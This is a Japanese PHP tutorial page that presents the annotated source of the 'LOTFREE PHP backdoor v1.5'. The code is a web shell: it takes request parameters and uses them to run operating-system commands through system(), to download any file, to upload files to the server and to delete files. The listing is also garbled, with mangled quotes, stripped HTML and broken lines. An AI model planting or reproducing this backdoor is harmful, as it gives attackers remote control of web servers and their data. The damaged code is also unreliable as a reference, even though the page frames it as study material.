コミュニティ 学ぶ ツールライブラリ レジャー
検索
日本語
ホームページ > バックエンド開発 > PHPチュートリアル > 本文

PHPバックドアファイルの説明

WBOY
リリース： 2016-07-25 09:13:33
オリジナル
1975 人が閲覧しました

PHP バックドア バージョン 1.5 は、sirius_black / LOTFREE TEAM によって書かれた PHP バックドア プログラムです。これは、PHP を学習するためのメモとしても使用できます。 Web サーバーのインストール 管理者であれば、PHP を使用するときにユーザーの権限があれば、さまざまなオペレーティング システム コマンドを実行できます。

以下はバックドアに関するメモです


  3. function good_link($link)
  4. {
  5. $link= ereg_replace (“/+”,”/”,$link);
  6. $link=ereg_replace(“/[^/(..)]+/..”,”/”,$link);
  7. $link = ereg_replace("/+","/",$link);
  8. if(!strncmp($link,"./",2) && strlen($link)>2)$link=substr($link , 2);
  9. if($link==”")$link=”.”;
  10. return $link;
  11. }
  12. //$_REQUESTは、このファイルに送信されたデータを取得するために使用されます
  13. $ dir= isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; // dir が定義されていない場合、dir はデフォルト値 "." を受け取ります
  14. $dir=good_link($dir );
  15. $rep=opendir($dir); // dir
  16. chdir($dir); で指定されたパスハンドルを開く // dir
  17. if(isset($_REQUEST["down "]) &&$_REQUEST ["down"]!="") //down が定義されている場合
  18. {
  19. header("Content-Type: application/octet-stream");
  20. header("Content-Length : ".filesize($ _REQUEST["down"]));
  21. header("Content-Disposition:attachment; filename=".basename($_REQUEST["down"]));
  22. readfile($_REQUEST[" down"]); / /ファイルをバッファに読み込みます
  23. exit();
  24. }
  25. ?>

  27. LOTFREE PHP バックドア v1.5, yeetrack.com



  31. echo "現在の絶対パスは: ".getcwd()。 "< /b>gt;
    n"; //現在の絶対パスを取得します
  32. echo "dir = '$dir'
    n";
  33. echo "カレントディレクトリ、ファイルリスト!

    n”;
  34. //実行するコマンドを入力した場合
  35. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd ']!=” ")
  36. {
  37. echo "
    n";
  38. system($_REQUEST['cmd']); //入力したコマンドをサーバー上で実行すると、実行結果は以下のようになりますechoed
  39. echo "n";
  40. }
  41. //ファイルがアップロードされている場合
  42. if(isset($_FILES["fic"]["name"]) && isset($_POST ["MAX_FILE_SIZE"])) // 投稿されたファイルを取得し、現在のディレクトリに保存します
  43. {
  44. if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) / /ファイルがサイズ指定を満たしているか判断します
  45. {
  46. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"] ))) //一時ファイルを現在のディレクトリに保存します
  47. {
  48. echo "ファイルは正常に保存されました".good_link("./".$_FILES["fic"]["name"])."!< br>n";
  49. }
  50. else echo "ファイルのアップロードに失敗しました: ".$_FILES["fic"]["error"]."
    n";
  51. }
  52. else echo "ファイルも大きい (ファイルがサイズ制限を超えています)!
    n ";
  53. }
  54. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!="") //rm の場合定義されている場合は、指定されたファイルを削除します
  55. {
  56. if (unlink($_REQUEST['rm'])) //unlinkはphp
  57. echoのファイル削除関数です "削除に成功しました ".$_REQUEST['rm']。 "!
    n";
  58. else echo "ファイルの削除に失敗しました
    n";
  59. }
  60. ?>


  64. $t_dir=array();
  65. $t_file=array();
  66. $i_dir= 0;
  67. $i_file=0;
  68. // 読み取り前にディレクトリファイルをループし、t_dir と t_file に配置します
  69. while($x=readdir($rep))
  70. {
  71. if(is_dir($) x)) // 現在処理中の場合
  72. $t_dir[$i_dir++]=$x;
  73. else // 現在処理中のファイルの場合
  74. $t_file[$i_file++]=$x;
  75. }
  76. closedir($rep); //opendir で閉じます
  77. while(1) //現在のパス内のディレクトリとファイルをループします
  78. {
  79. ?>




  86. if(!$x && !$y)
  87. break;
  88. }
  89. ?>

  92. if($x=each($t_dir))
  93. {
  94. $name =$x["value"]; // t_dir 配列内のディレクトリ名を取得します
  95. if($name=='.'){ }
  96. elseif($name=='..') echo " UP (親ディレクトリ)

    n"; //UPリンクを表示し、親ディレクトリのファイルリストを読み込む
  97. else
  98. echo " ".$name."n";
  99. }
  100. ?>
  		101.
  103. //$_SERVER['PHP_SELF'] 現在のPHPスクリプトファイル名を取得します
  104. if( $y =each($t_file))
  105. {
  106. if($y["key"]%2==0) //現在の処理が key
  107. echo の場合 ” bgcolor='lightgreen'>n” ;
  108. else //現在の処理が値、つまりファイルの場合。ファイルが表示され、ダウンロード リンクが提供されます。
  109. echo “>n”;
  110. echo “ ".$y["value"]."n";
  111. }
  112. else echo ">n";
  113. ?>
  		114.
  116. if($y)
  117. {
  118. //ファイルの場合、ファイルを削除するには次のリンクを提供してください
  119. if($y [" key"]%2==0)echo ” bgcolor='lightgreen'";
  120. echo ">Del";
  121. }
  122. else echo ">n";
  123. ?>
  124. < ;/ td>




  128. ?dir=”>レヴニラウレパートリー< ;br> ;


  130. ”>
  131. 実行commande(オペレーティング システム コマンドを実行)
  133. ファイルをサーバーの現在のディレクトリにアップロードします:

  134. ”>




コードをコピー





関連ラベル：
解释PHP后门文件
ソース：php.cn
前の記事：Ddiscuzx2.5の投稿の左欄に友達追加と挨拶機能を追加 次の記事：コレクション こんにちは、プログラマの友人、助けてください。Web サイトのせいで頭が痛いです。
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
著者別の最新記事
最新の問題
クリックしたときにテキストが新しい要素 (区切り線など) に変わるようにするにはどうすればよいですか? ページ上の特定のテキストをクリックすると区切り文字/新しい要素に変わる方法を見つけようとしています。どう説明したらいいのかわかりませんが、画像の下にタイトルがあると想像してください...
から 2024-04-04 11:21:03
0
1
3580
PHP ファイルを回復する方法はありますか? コーディングに VisualStudioCode を使用していますが、PHP ファイルが破損しており、コードの 70% が欠落しています。開こうとすると、「バイナリであるか、サポー...
から 2024-04-03 11:28:59
0
1
291
タイトルの後に拡張アイコンが付いているカスタムパッド拡張 for ループ内でマット展開パネルを使用してマット アコーディオンを作成しようとしています。問題は、各拡張機能の前にチェックボックスを追加するなど、いくつかのカスタマイズを行う必要...
から 2024-04-02 12:39:50
0
1
381
関数の結果を他の関数で使用することはできません ファイルを変換するための2つの関数convertToBase64(file)、変換されたファイルを送信するためのaddData(values)があります。ただし、2 番目の関数の結...
から 2024-04-01 13:13:20
0
1
379
このアプリケーションでは「スタイル コンポーネント」の複数のインスタンスが初期化されます すべての解決策を試しましたが、今この質問に来て、UIコンポーネントライブラリを構築しています。 2 つのパッケージがあり、1 つはライブラリ用、もう 1 つはデモ用です。デモでは、...
から 2024-03-31 12:17:14
0
1
274
関連トピック
詳細>
人気のおすすめ
人気のチュートリアル
詳細>
関連するチュートリアル
人気のおすすめ
最新のコース
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート